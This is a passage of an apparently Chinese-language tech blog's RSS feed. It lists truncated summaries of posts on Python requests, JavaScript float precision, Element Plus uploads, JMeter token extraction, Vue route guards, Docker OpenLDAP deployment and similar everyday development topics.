      <pubDate>Tue, 14 Feb 2023 15:46:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87109b8be2924ae6d568f3b533f42fc1/</guid>
      <description>概念 接口测试：是对系统或组件之间的接口进行测试，主要是校验数据的交换、传递和控制管理过程，以及相互逻辑依赖关系。&#xA;自动化测试：是把以人为驱动的测试行为转化为机器执行的一种过程。&#xA;实现方式 使用接口测试工具来实现，比如：JMeter&#xA;通过编写代码来实现&#xA;接口测试工具的不足 1.测试数据不好控制&#xA;2.不方便测试加密接口&#xA;3.扩展能力不足&#xA;Requests库 介绍&#xA;Requests库是用Python编写的，基于urllib，采用Apache2Licensed开源协议的HTTP库；相比urllib库，Requests库更加方便，可以节约我们大量的工作，完全满足HTTP测试需求；&#xA;安装&#xA;pip install requests 发送请求&#xA;常见的HTTP请求方式：GET、POST、PUT、DELETE、HEAD、OPTIONS&#xA;使用requests发送网络请求非常简单，只需要调用HTTP请求类型所对应的方法即可。&#xA;GET请求 import requests response = requests.get(&#34;http://www.baidu.com&#34;) 请求方法的返回值response为Response对象，我们可以从这个对象中获取所有我们想要的响应信息。&#xA;POST请求 import requests #:paramurl:请求的URL #:paramdata:(可选)要发送到请求体中的字典、元组、字节或文件对象 #:paramjson:(可选)要发送到请求体中的JSON数据 #:rtype:requests.Response response=requests.post(url,data=None,json=None) 其他请求类型 import requests response=requests.put(&#34;http://www.baidu.com&#34;,data={&#34;key&#34;:&#34;value&#34;}) response=requests.delete(&#34;http://www.baidu.com&#34;) response=requests.head(&#34;http://www.baidu.com&#34;) response=requests.options(&#34;http://www.baidu.com&#34;) 传递URL参数 如果需要在URL的查询字符串中传递数据，可以使用params参数来定义，params传递的参数可以是字符串或字典。&#xA;import requests response=requests.get(&#34;http://www.baidu.com&#34;,params=&#34;kw=python&#34;) print(response.url)#http://www.baidu.com/?kw=python params={&#34;k1&#34;:&#34;v1&#34;,&#34;k2&#34;:[&#34;v2&#34;,&#34;v3&#34;]} response=requests.get(&#34;http://www.baidu.com&#34;,params=params) print(response.url)#http://www.baidu.com/?k1=v1&amp;amp;k2=v2&amp;amp;k2=v3 响应内容 请求方法的返回值response为Response对象，我们可以从这个对象中获取所有我们想要的响应信息。&#xA;response.status_code 状态码 response.url 请求url response.encoding 查看响应头部字符编码 response.headers 头信息 response.cookies cookie信息 response.text 文本形式的响应内容 response.content 字节形式的响应内容 response.json() JSON形式的响应内容 JSON响应内容 如果请求响应的内容为JSON格式的数据，则可以直接调用response.</description>
    </item>
    <item>
      <title>JS 加减乘除丢失精度问题</title>
      <link>https://bchobby.github.io/posts/818704aaaa4c5b53ec998240d7d372f6/</link>
      <pubDate>Tue, 14 Feb 2023 15:14:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/818704aaaa4c5b53ec998240d7d372f6/</guid>
      <description>js在加减乘除时对浮点型数据有丢失精度问题 比如 0.1+0.2≠0.3；得到的却是0.300...0004，为了防止这个问题可以用一下方法来处理 export default { /** * 数字相加 * @param {*} arg1 * @param {*} arg2 * @returns */ accAdd (arg1, arg2) { return this.changeNum(arg1, arg2) }, /** * 数字相减 * @param {*} arg1 * @param {*} arg2 * @returns */ accSub (arg1, arg2) { return this.changeNum(arg1, arg2, false) }, /** * 数字相乘 * @param {*} arg1 * @param {*} arg2 * @returns */ accMul (arg1, arg2) { let m = 0 m = this.</description>
    </item>
    <item>
      <title>idea 打开项目后卡顿</title>
      <link>https://bchobby.github.io/posts/4d7c457c3cc21827665c408df1e390c3/</link>
      <pubDate>Tue, 14 Feb 2023 15:11:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d7c457c3cc21827665c408df1e390c3/</guid>
      <description>对不起，IntelliJ IDEA 打开项目后卡顿是一个常见问题，有以下几种可能的原因:&#xA;计算机硬件配置低：如果你的计算机配置较低，特别是内存不足，则可能会导致卡顿。&#xA;项目太大：如果项目文件太大，IntelliJ IDEA 可能需要很长时间来加载所有文件，导致卡顿。&#xA;插件过多：如果安装了过多的插件，IntelliJ IDEA 可能需要很长时间来加载和初始化它们，导致卡顿。&#xA;为了解决这个问题，你可以尝试以下措施：&#xA;升级计算机配置：尽量保证计算机配置较高，特别是内存。&#xA;减小项目大小：尽量减小项目文件大小。&#xA;卸载不需要的插件：卸载不需要的插件，减少</description>
    </item>
    <item>
      <title>elementplus 上传文件</title>
      <link>https://bchobby.github.io/posts/f7e544a186c99425b7604b8878da1c27/</link>
      <pubDate>Tue, 14 Feb 2023 15:09:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7e544a186c99425b7604b8878da1c27/</guid>
      <description>一、 form-data格式上传代码示例如下： &amp;lt;el-upload class=&#34;upload-img&#34; action=&#34;&#34; :on-remove=&#34;handleRemove&#34; :before-upload=&#34;beforeUpload&#34; list-type=&#34;picture&#34; :file-list=&#34;fileList&#34; &amp;gt; &amp;lt;el-button size=&#34;small&#34; type=&#34;danger&#34;&amp;gt;点击上传&amp;lt;/el-button&amp;gt; &amp;lt;/el-upload&amp;gt; // 使用上传文件之前的钩子来进行自定义文件上传 beforeUpload(file,id) { let fd = new FormData() fd.append(&#39;file&#39;, file) const obj = { name:&#39;&#39;, file:&#39;&#39; } dataSet.fileList = [] axios.post(&#39;/api/common/upload&#39;, fd, { headers: { &#39;Content-Type&#39;: &#39;multipart/form-data&#39; } }).then(res=&amp;gt;{ // 上传成功，返回图片完整路径 console.log(res); }) // 阻止默认的上传操作, 就不会产生如下图action为空报404错误的情况 return false; }, 二、从File对象中读取图片数据 (base64格式) 示例 //图片转64格式 //处理上传的图片 getFile(file, fileList){ console.log(file) methods.getBase64(file.raw).then(res =&amp;gt; { // dataSet.imgObj.name = file.name; // dataSet.</description>
    </item>
    <item>
      <title>python 爬虫去获得省市区县的数据</title>
      <link>https://bchobby.github.io/posts/71d28df672032caa49679004bb4c688d/</link>
      <pubDate>Tue, 14 Feb 2023 14:43:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71d28df672032caa49679004bb4c688d/</guid>
      <description>背景：发现以前项目里面的地区还是以前规划的，而杭州去年划分了新的区域，所以就要重新获取一份新的区域表了。这边使用了python去爬虫新的数据。&#xA;最新的区域url是：2022年统计用区划代码&#xA;以前写的都是java，这次用了python就要装一下环境啥的（以前没事配置了flutter就已经配置了pytnon），但是还要有requests，beautifulBase4，lxml。&#xA;pip install requests pip install bs4 pip install lxml //我是python3，这边用了pip3 在idea的插件库中添加python插件 直接贴一下python的代码（面向百度开发了）哈哈哈哈 #!/usr/bin/env python # -*- coding: utf-8 -*- &#34;&#34;&#34; 利用BeautifulSoup爬取省、市、区、街道、办事处五级地址 author: gxcuizy date: 2018-11-01 &#34;&#34;&#34; import requests from bs4 import BeautifulSoup from urllib import parse import json import os from datetime import datetime import threading class GetCity(object): &#34;&#34;&#34;爬取国家统计局省、市、区、街道、办事处五级地址&#34;&#34;&#34; # 地址 url = &#39;http://www.stats.gov.cn/tjsj/tjbz/tjyqhdmhcxhfdm/2022/&#39; def __init__(self): &#34;&#34;&#34;初始化属性&#34;&#34;&#34; self.json_folder = &#39;json&#39; self.json_file = {&#39;province&#39;: &#39;province.json&#39;, &#39;city&#39;: &#39;city.json&#39;, &#39;county&#39;: &#39;county.</description>
    </item>
    <item>
      <title>怎么爬取链家小区的省市区、名称、房价、户数、建成年份等数据</title>
      <link>https://bchobby.github.io/posts/500e4b67a4c4814c8e18010635d553f8/</link>
      <pubDate>Tue, 14 Feb 2023 14:10:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/500e4b67a4c4814c8e18010635d553f8/</guid>
      <description>要爬取链家小区的数据，您需要掌握一些编程知识，特别是网络爬虫的技巧。具体步骤如下：&#xA;分析网页：打开链家网站，找到要爬取的小区信息页面，分析网页的结构和数据存储方式。&#xA;编写爬虫代码：根据网页结构和数据存储方式，使用编程语言(如Python)编写爬虫代码，获取网页中的数据。&#xA;解析数据：对爬取的数据进行解析，提取所需的省市区、名称、房价、户数、建成年份等数据。&#xA;存储数据：将提取的数据存储到本地文件或数据库中，方便后续的数据分析和使用。&#xA;请注意，爬取网站的数据可能存在法律风险，在爬取前请仔细了解相关法律法规，并且尽量遵守网站的爬取规则。</description>
    </item>
    <item>
      <title>打开遥感raw格式文件</title>
      <link>https://bchobby.github.io/posts/6dd52590050ae968710967600cf29306/</link>
      <pubDate>Tue, 14 Feb 2023 14:09:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dd52590050ae968710967600cf29306/</guid>
      <description>打开raw文件&#xA;①通道深度选择16位&#xA;②通道字节顺序选择IBM PC（8）&#xA;③尺寸根据原始图像尺寸填写，（3000或者1500）&#xA;④删除高度中的像素大小，点估算，出来高度像素大小&#xA;⑤好，打开图片&#xA;⑥图像-调整-自动对比度，调整图像的亮度</description>
    </item>
    <item>
      <title>【Chrome谷歌浏览器安装vue.js.devtools】</title>
      <link>https://bchobby.github.io/posts/8dc282f427582830bc54c8a5611179cd/</link>
      <pubDate>Tue, 14 Feb 2023 13:54:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8dc282f427582830bc54c8a5611179cd/</guid>
      <description> Chrome谷歌浏览器安装vue.js.devtools--离线安装记录 下载离线包下载地址：https://github.com/vuejs/devtools 解压文件：执行npm run build找到谷歌扩展程序加载工具安装后效果 下载离线包 下载地址：https://github.com/vuejs/devtools 在1处切换到分支add-remote-devtools,下载zip格式&#xA;解压文件： 进入刚下载的文件路径，解压，win+R打开运行窗口，执行npm i&#xA;执行npm run build 找到谷歌扩展程序 找到扩展程序&#xA;加载工具 安装后效果 </description>
    </item>
    <item>
      <title>Jmeter接口关联技术</title>
      <link>https://bchobby.github.io/posts/3e523d7dbc6e7f3e3b35c68ae7c02dfe/</link>
      <pubDate>Tue, 14 Feb 2023 11:32:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e523d7dbc6e7f3e3b35c68ae7c02dfe/</guid>
      <description>获取token&#xA;1、创建线程组–添加http请求&#xA;2、添加获取token接口&#xA;3、添加查看结果树&#xA;4、提取tonken&#xA;1）json提取器&#xA;步骤：添加–后置处理器–JSON提取器&#xA;json表达式格式：$.提取值的变量名称&#xA;2）正则表达式提取器&#xA;步骤：添加–后置处理器–正则表达式提取器&#xA;正则表达式：提取内容的正则表达式&#xA;() ---- 括起来的部分就是需要提取内容&#xA;. ---- 点号表示匹配除换行符 \n 之外的任何字符串&#xA;---- 匹配一次或多次 ？ ---- 在找到第一个匹配项后停止&#xA;如果匹配到在正则表达式中有多个正则表达式&#xA;$0$：表示取所有值，取正则表达式中所有的值，也就是非括号与括号中所有的值 $1$：表示取第一个()中的值 $2$：表示只取第二个()中的值 $n$：表示取第n个()中的值 $1$,$2$：表示取第一个()与第二个()中的值，注意：第一个括号中的值与第二个括号中的值连接方式就依赖于它们之间是用什么分隔符，如$1$,$2$，它们之间是用逗号来分隔的，那么取到的第一个值与第二个值连接方式就是逗号分隔，这个下面举例会说明的 匹配数字：根据正则表达式所能匹配到的值&#xA;0 ---- 代表随机取一个值&#xA;-1 ---- 代表取出所有值，但是这种情况下引用变量时，就必须要指名引用哪个变量值，如引用名称是token，那么后续引用此变量时，就需要用 t o k e n 1 或 {token_1}或 token1​或{token_n}来匹配对应的值&#xA;1 ---- 代表取第一个值&#xA;2 ---- 代表取第二个值&#xA;n ---- 代表取n个值&#xA;缺省值：如果正则表达式没有搜找到值，则使用此缺省值&#xA;检查是否提取成功可以通过添加调试取样器和查看结果树来查看 添加调试取样器步骤：线程组--添加--取样器--Debug Sampler 5.关联接口&#xA;在其他接口中需要使用Token的地方使用${Token}调用Token</description>
    </item>
    <item>
      <title>windows 上Miktex的镜像源最新配置方法</title>
      <link>https://bchobby.github.io/posts/f9c8695045834ff954e5a2e794fec0f9/</link>
      <pubDate>Tue, 14 Feb 2023 10:17:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9c8695045834ff954e5a2e794fec0f9/</guid>
      <description>windows 上Miktex的镜像源最新配置方法 安装完Miktex之后，试了试网上的例子，发现要安装包，但是默认的国外的（反正连接失败），就去搜如何更换国内镜像源，然而，然并卵，特别是一个百度的一篇老文章，老是搜到它，很生气。&#xA;因为现在新版本的 Miktex control 找不到配置镜像源的地方了，只能用命令行的形式。&#xA;软件版本和下载地址 basic-miktex-21.8-x64.exe&#xA;Note: 最新的版本可能不好用， 尽量用这个版本&#xA;第二个就是Miktex control&#xA;然后打开命令行&#xA;更换前注意点击“更新”中进行更新&#xA;然后查找能用的镜像源&#xA;mpm.exe --list-repositories&#xA;然后更换镜像源（我选的是第一个）&#xA;如果上一步出现错误， 注意在“更新”中进行更新， 更新过后再执行下上面的配置&#xA;然后就可以在下图搜索安装了，（或者它自动安装）&#xA;清爽，哈哈哈哈啊哈哈哈哈哈哈哈啊哈哈</description>
    </item>
    <item>
      <title>金额小写转大写</title>
      <link>https://bchobby.github.io/posts/c12713e89d2587e65f6fc4ae04662dca/</link>
      <pubDate>Mon, 13 Feb 2023 23:56:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c12713e89d2587e65f6fc4ae04662dca/</guid>
      <description>// val是金额可以是数字/字符串 len是小数点后几位，默认2位 const formatUpper = (val, len = 2) =&amp;gt; { let n = val.toString(); const flagLen = typeof len !== &#39;number&#39; || (typeof len === &#39;number&#39; &amp;amp;&amp;amp; (len &amp;lt; 0 || len &amp;gt; 6)); if (!val) { return; } if (!/^(0|[1-9]\d*)(\.\d+)?$/.test(n) || flagLen) { return &#39;数据非法&#39;; } let unit: string = &#39;千百拾亿千百拾万千百拾元角分厘毫微纳皮&#39;; let str: string = &#39;&#39;; const p: number = n.indexOf(&#39;.&#39;); n += &#39;0&#39;.repeat(len); const unitFrac: number = unit.</description>
    </item>
    <item>
      <title>Module build failed (from ./node_modules/sass-loader/dist/cjs.js):</title>
      <link>https://bchobby.github.io/posts/2f13b1ad7a82ca59f86e68ff66fd85f0/</link>
      <pubDate>Mon, 13 Feb 2023 21:30:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f13b1ad7a82ca59f86e68ff66fd85f0/</guid>
      <description>原因 node node-sass node-loader版本号没对上&#xA;处理 打开cmd输入node -v判断版本号&#xA;根据node版本号判断对应的node-sass版本号&#xA;根据node-sass版本号判断node-loader版本号&#xA;sass-loader 4.1.1，node-sass 4.3.0&#xA;sass-loader 7.0.3，node-sass 4.7.2&#xA;sass-loader 7.3.1，node-sass 4.7.2&#xA;sass-loader 7.3.1，node-sass 4.14.1&#xA;sass-loader 10.0.1，node-sass 6.0.1</description>
    </item>
    <item>
      <title>web 自动化如何用代码查询浏览器的默认下载路径？</title>
      <link>https://bchobby.github.io/posts/893bac4f2ce59dbcbcb183a514c38bb6/</link>
      <pubDate>Mon, 13 Feb 2023 21:19:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/893bac4f2ce59dbcbcb183a514c38bb6/</guid>
      <description>曾经接触到一个保密检查的项目，我就负责这一块的开发，但因为种种原因，最后还没来得及向团队提交代码，所幸代码有所保存，分享如下：&#xA;首先是针对火狐浏览器，代码如下：&#xA;from selenium import webdriver # 创建浏览器对象 driver = webdriver.Firefox() # 获取浏览器的默认下载路径 download_dir = driver.capabilities[&#34;moz:profile&#34;][&#34;path&#34;] # 打印默认下载路径 print(&#34;默认下载路径为：&#34;, download_dir) # 关闭浏览器 driver.quit() 然后是谷歌：&#xA;```python from selenium import webdriver # 创建浏览器对象 options = webdriver.ChromeOptions() options.add_experimental_option(&#34;prefs&#34;, { &#34;download.default_directory&#34;: &#34;/path/to/default/download/directory&#34;, &#34;download.prompt_for_download&#34;: False, &#34;download.directory_upgrade&#34;: True, &#34;safebrowsing.enabled&#34;: True }) driver = webdriver.Chrome(chrome_options=options) # 获取浏览器的默认下载路径 download_dir = driver.capabilities[&#34;chrome&#34;][&#34;download.default_directory&#34;] # 打印默认下载路径 print(&#34;默认下载路径为：&#34;, download_dir) # 关闭浏览器 driver.quit() 针对windows自带的浏览器，代码如下：&#xA;import winreg def get_ie_download_folder(): key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r&#39;Software\Microsoft\Internet Explorer\Main&#39;) download_folder, _ = winreg.</description>
    </item>
    <item>
      <title>el-upload组件的文件回显功能和添加文件到elupload组件</title>
      <link>https://bchobby.github.io/posts/1c6b6d4357eb1a8e39aeb803fc95d161/</link>
      <pubDate>Mon, 13 Feb 2023 20:41:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c6b6d4357eb1a8e39aeb803fc95d161/</guid>
      <description>省流： 先获取这个文件对象，使用handleStart方法添加到组件。&#xA;this.$refs.uploadRefName.handleStart(rawfile); 在开发的时候遇到表单里需要上传图片的功能。看了下el-upload组件的使用方法，在修改表单的时候，el-upload组件的回显遇到了麻烦：&#xA;过程：&#xA;根据一开始的理解，按照其他教程的方法，向file-list里添加一个文件对象[{name: &#34;aa&#34;, url: http:xxxxxxxx}]就可以。&#xA;我尝试加入一个图片的url（后来发现那并不是一个直接的url路径，而是一个get的请求路径,这可能是我添加filelist不成功的原因，暂没验证），发现组件里的文件列表一直显示不成功，后来尝试new了一个File对象，成功在文件列表里显示成功，但是在before-upload钩子函数中却找不到这个文件，传过来的参数file一直是undefined，而file-list里有这个文件对象，但是属性和其他文件对象千差万别。&#xA;思考： 到这里我感觉向file-list加入自己new出来的文件对象并不是向upload组件上传文件，而是向uploadList这个组件（el-upload的子组件），然后显示到对应div和file-list&#xA;这种行为和点击区域从本地选择文件进行上传不一样，并不是把文件对象加入组件。&#xA;在编辑表单回显的时候，假如对upload这个组件没有做任何更改，点击提交是不会通过beforeupload钩子函数的验证的，这说明组件里并没有文件对象，往file-list添加文件对象没有真正的添加进去。&#xA;我的需求： 我需要在编辑表单回显的时候，把文件对象加入到组件中，用于通过beforeUpload钩子函数的验证和上传文件对象到后台。&#xA;解决办法：&#xA;然后我开始查找如何向el-upload组件添加组件，官方文档里并没有提供手动加入file对象的方法，百度了下发现也没有关于加入文件到el-upload组件的内容。&#xA;遂去看了下源码。elementUi对这个组件的实现就300来行，看了后发现有个handleStart方法用于获取增加文件对象，根据上文提到的url路径问题，我用xmlhttprequest方法get到这个文件对象，然后用handleStart方法成功添加到组件，通过了钩子函数验证，成功传到后台。代码如下&#xA;//给upload组件添加文件 addFile(url, iamgeName) { var blob =null; var xhr = new XMLHttpRequest(); xhr.open(&#34;get&#34;, url); xhr.setRequestHeader(&#39;Accept&#39;, &#39;image/png&#39;); xhr.responseType = &#34;blob&#34;; xhr.onload = () =&amp;gt; { blob = xhr.response; let imageFile = new File([blob], imageName, {type: &#39;image/png&#39;}); console.log(imageFile); //el-upload组件的添加文件方法 this.$refs.upload.handleStart(imageFile); }; xhr.onerror = (e) =&amp;gt; { }; xhr.send(); } 说了这么多废话，有用的就一句，用handleStart方法添加文件对象到组件，也可能是我的url问题导致filelist没有把文件对象真正加入进去，还没验证，懒得验证了。。。</description>
    </item>
    <item>
      <title>centos7开机报错bash:cannot set terminal process group (-1):Inappropriate ioctl for device的解决过程</title>
      <link>https://bchobby.github.io/posts/204b0994876d98e36aa8ed31e25bfdac/</link>
      <pubDate>Mon, 13 Feb 2023 19:44:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/204b0994876d98e36aa8ed31e25bfdac/</guid>
      <description>前几日服务器突然无法正常连接，一直没时间处理，今日进入机房查看发现服务器已重启，停在了启动过程中，报错如图：&#xA;大致的意思是检查文件系统时到某个文件出错了，异常的文件是&#xA;/dev/mapper/vg_hljtnits-lv_home&#xA;报错信息如下：&#xA;bash:cannot set terminal process group (-1):Inappropriate ioctl for device&#xA;bash:no job control in this shell&#xA;说实话第一次遇到过，对于这种报错很懵逼，不知道如何处理，只能询问网友并在搜索引擎上查找相关信息。&#xA;试了下大家出的主意，也尝试了不少在搜索引擎上查到的方法，最后使用了在这个链接中的方法解决的问题：&#xA;https://blog.csdn.net/Will_cruise/article/details/102958828&#xA;处理过程如下：&#xA;根据屏幕提示让我们输入root密码或按ctrl+D继续，我尝试按ctrl+D，服务器继续启动过程然后报错退出，自动重启。&#xA;再次进入这个画面，输入了root密码之后手工重启服务器，依然报错停止在这个画面。&#xA;在找到了上面的链接内容后使用fsck命令来检查并处理不一致的异常文件。&#xA;fsck -y /dev/mapper/vg_hljtnits-lv_home&#xA;#命令解释：&#xA;#fsck（file system check）用来检查和维护不一致的文件系统。若系统掉电或磁盘发生问题，可利用fsck命令对文件系统进行检查&#xA;#-y : 选项指定检测每个文件是自动输入yes&#xA;执行以上命令后进入检查和修复阶段，略作等待之后进入命令行状态，此时检查与修复完成，输入shutdown -r now重启系统，恢复正常。&#xA;经验总结：应该是服务器非正常重启之后导致了系统文件异常，用fsck命令检查异常文件和目录并修复了问题，有点类似于windows以前我们经常遇到的开启后蓝屏状态下的系统文件自检。</description>
    </item>
    <item>
      <title>Vue3路由守卫</title>
      <link>https://bchobby.github.io/posts/88de2c84d10455d7bfaaee97f582523e/</link>
      <pubDate>Mon, 13 Feb 2023 18:59:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88de2c84d10455d7bfaaee97f582523e/</guid>
      <description>路由守卫 分类：&#xA;全局守卫&#xA;单个路由守卫&#xA;组件内部守卫&#xA;一.全局守卫 全局前置守卫beforeEach 场景：&#xA;用户页面是否跳转到登录界面，是否有权限跳转到某个页面 定义：&#xA;beforeEach()全局前置守卫：初始化时执行、每次路由切换前执行；&#xA;三个参数：&#xA;to：要跳转到的目标路由&#xA;from：从当前哪个路由进行跳转&#xA;next：不做任何阻拦，直接通行，该往哪个路由跳转就往哪个跳转&#xA;route中有一个配置项是meta，专门提供给我们，在meta项中配置自己的属性与值，可用于在守卫中的权限判断&#xA;//前置路由 import { userStore } from &#39;../store/userInfo&#39;; router.beforeEach((to, from, next) =&amp;gt; { const store = userStore(); //判断是否有权限返回登录界面 if (from.meta.isAuth) { if (store.userInfo.token) { next() } else { next(&#34;/login&#34;) } } else { console.log(&#34;没有权限&#34;); next() } }) 全局解析守卫beforeResolve 是获取数据或执行任何其他操作（如果用户无法进入页面时你希望避免执行的操作）的理想位置(用的不多)&#xA;全局后置守卫afterEach 对于分析、更改页面标题、声明页面等辅助功能都很有用&#xA;//后置路由 router.afterEach((to, from) =&amp;gt; { console.log(&#34;全局后置路由守卫&#34;); //设置跳转路由后页面的标题 document.title = to.meta.title as string }) 二.</description>
    </item>
    <item>
      <title>利用python倒置所输字符串的顺序</title>
      <link>https://bchobby.github.io/posts/ffe4819631bda72c48d710128b84da48/</link>
      <pubDate>Mon, 13 Feb 2023 12:42:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffe4819631bda72c48d710128b84da48/</guid>
      <description>目录&#xA;一、 目的&#xA;二、思路与方法&#xA;python菜鸟一只，本文仅供自己记录，所写代码难免有猫饼，如有错误以及可以改进的地方，还请各位多多海涵，不吝赐教。&#xA;一、 目的 如题，用python将输入的字符串倒置。倒置情况如下：&#xA;1. 输入字符串（内无空格）“abcd1234”&#xA;返回：“4321dcba”&#xA;2. 输入一串英文单词，进行单词内部倒置：&#xA;输入：“hello world”&#xA;返回：“olleh dlrow”&#xA;3. 输入一串英文单词，进行单词顺序倒置：&#xA;输入：“hello world”&#xA;返回：“world hello”&#xA;二、思路与方法 1. 首先明确，字符串有索引，字符串中第一个字符的索引为0，其他字符的索引按从左到右顺序依次+1&#xA;a b c d&#xA;0 1 2 3&#xA;如果按倒序进行索引，则字符串中最后一个字符的索引为-1，其他字符的索引按从右到左的顺序依次-1&#xA;a b c d&#xA;-4 -3 -2 -1&#xA;预期实现的是将【输入】的字符串反转，需要明确，我们不知道输入的字符串中一共有几个字符。&#xA;于是用到for循环，遍历字符串中字符数：&#xA;k = &#34;&#34; m = 0 for i in a: m -= 1 k += a[m] print(k) 其中i是遍历的内容，但是我们不需要这些字符，于是没有用到i。m为字符串的索引。&#xA;k为空字符串，用来装倒置结果。&#xA;字符串的拼接用运算符即可。&#xA;（以上内容可以封装为一个函数，后面的内容就可以用到这个函数了）&#xA;def re(a): # 将输入的字符串倒置 m = 0 k = &#34;</description>
    </item>
    <item>
      <title>用VScode写一个简单html网页</title>
      <link>https://bchobby.github.io/posts/88e52b1953365ed020361f0420e47551/</link>
      <pubDate>Mon, 13 Feb 2023 11:51:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88e52b1953365ed020361f0420e47551/</guid>
      <description>使用 Visual Studio Code 写一个简单的 HTML 网页可以通过以下步骤完成：1.打开 Visual Studio Code；2.新建一个文件，可以使用 .html 作为文件后缀名；3.编写 HTML 代码；4.保存文件；5.使用浏览器打开新建的 HTML 网页文件。</description>
    </item>
    <item>
      <title>Docker部署Openldap和phpLDAPadmin</title>
      <link>https://bchobby.github.io/posts/ccaeefab01865b5177af9b1b1414eb44/</link>
      <pubDate>Mon, 13 Feb 2023 10:59:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccaeefab01865b5177af9b1b1414eb44/</guid>
      <description>1、LDAP概念：&#xA;LDAP是轻量级目录访问协议，英文全称是：LightWeight Directory Access Protocol，一般称为LDAP。&#xA;按照我们对文件目录的理解，LDAP可以看成是一个文件系统，类似目录和文件树。&#xA;2、LDAP软件：&#xA;LDAP是一个协议。&#xA;LDAP产品：Microsoft的ActiveDrectory，Lotus的Domino Directory、IBM的WebSphere中也集成了LDAP服务。&#xA;LDAP的开源实现是OpenLDAP。&#xA;3、OpenLDAP介绍：&#xA;OpenLDAP是最常用的目录服务之一，提供了目录服务的所有功能，包括目录搜索，身份认证、安全通道、过滤器等。&#xA;大多数的Linux发行版里面都带有OpenLDAP的安装包。&#xA;OpenLDAP服务默认是使用非加密的TCP/IP协议来接收服务的请求，并将查询结果传到客户端。&#xA;由于大多数目录服务都是用于系统的安全认证部分比如：用户登录和身份验证，所以它也支持使用基于SSL/TLS的加密协议来保证数据传送的保密性和完整性。&#xA;OpenLDAP是使用的OpenSSL来实现SSL/TLS的加密通信的。&#xA;4、LDAP的信息模型：&#xA;LDAP的信息模型是建立在目录entries的基础上。&#xA;一个条目是一些属性的集合，并且具有一个全局唯一性的可区分名称DN, 一个条目可以通过DN来引用。&#xA;每一个条目的属性具有一个类型和一个或多个值。&#xA;类型通常是容易记忆的名称，比如cn是通用名称common name，或者mail是电子邮件。&#xA;条目的值的语法取决于属性类型。比如cn属性可能具有一个值“Babs Jensen”。&#xA;一个mail属性可能包括&#34;test@123.com”&#xA;5、LDAP的objectClass&#xA;LDAP通过属性objectClass来控制哪一个属性必须出现或允许出现在一个条目中，它的值决定了该条目必须遵守的模式规则。可以理解为关系数据库的表结构。&#xA;6、LDAP的常用关键字：&#xA;LDAP的entry是由各种字段构成，可以理解为关系数据库的字段。&#xA;7、OpenLDAP的部署：&#xA;7.1 拉取相关镜像：&#xA;docker pull osixia/openldap docker pull osixia/phpldapadmin 7.2 运行容器openldap:&#xA;docker run \ -d \ -p 389:389 \ -p 636:636 \ -v /usr/local/ldap:/usr/local/ldap \ -v /data/openldap/ldap:/var/lib/ldap \ -v /data/openldap/slapd.d:/etc/ldap/slapd.d \ --env LDAP_ORGANISATION=&#34;changchunhua&#34; \ --env LDAP_DOMAIN=&#34;changchunhua.cloud&#34; \ --env LDAP_ADMIN_PASSWORD=&#34;</description>
    </item>
    <item>
      <title>js-file-download ，文件下载</title>
      <link>https://bchobby.github.io/posts/96c482c75585ac30143b19da8e5dfe29/</link>
      <pubDate>Mon, 13 Feb 2023 10:53:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96c482c75585ac30143b19da8e5dfe29/</guid>
      <description> 导出文件接口 1，安装js-file-download npm install js-file-download 2，引入文件&#xA;import fileDownload from &#39;js-file-download&#39; 3，代码部分&#xA;exportFile () { axios.get(url地址, { responseType: &#39;blob&#39;, // 头部参数 headers: { &#39;Authorization&#39;: token, }, // 请求参数 params: { year: 2023, town: &#39;330100&#39;, } }).then(res =&amp;gt; { fileDownload(res.data, &#39;附件&#39; + &#39;.xls&#39;) }) }, </description>
    </item>
    <item>
      <title>appstore构建版本的windows上传方法</title>
      <link>https://bchobby.github.io/posts/a7d2c3d33d22c4da34698518d3b3376e/</link>
      <pubDate>Mon, 13 Feb 2023 10:26:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7d2c3d33d22c4da34698518d3b3376e/</guid>
      <description>我们在appstore上架应用的时候，会遇到一个问题，我们需要将打包好的苹果应用ipa文件上传到appstore的构建版本里面，但是appstore提示，这个上传需要安装xcode或transporter等软件，这些软件只能安装在mac电脑上，安装这两个软件很麻烦，首先要有mac电脑，然后安装的体积还非常大，还要升级操作系统才能安装。&#xA;因此我们这个教程将教会大家如何通过windows电脑上传ipa文件到构建版本。&#xA;没有mac，我们可以使用香蕉云编来上传,香蕉云编地址：&#xA;地址：https://www.yunedit.com 登录香蕉云编，进入上传ipa的控制台，上传ipa,如下图界面&#xA;上传的步骤中，它会要求我们输入苹果开发者中心的账号和专用密码，注意这里输入的是需要专用密码，不是登录密码，不要搞错了哦，专用密码你可以参考香蕉云编上传界面的教程去设置。&#xA;上传成功后，大概过30分钟，就可以在构建版本里见到了。&#xA;然后回到app store connect，填写其他资料，就可以上架提交人工审核了，过程中它会要求我们提供各尺寸APP的截图，然后你没有真机截图，你可以使用香蕉云编的合成图片功能来生成截图，由于生成的过程比较简单，这里就不一一说明了。</description>
    </item>
    <item>
      <title>python编写一个指纹识别器</title>
      <link>https://bchobby.github.io/posts/e408539d03e9b7f8f92141686b30d9de/</link>
      <pubDate>Mon, 13 Feb 2023 09:17:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e408539d03e9b7f8f92141686b30d9de/</guid>
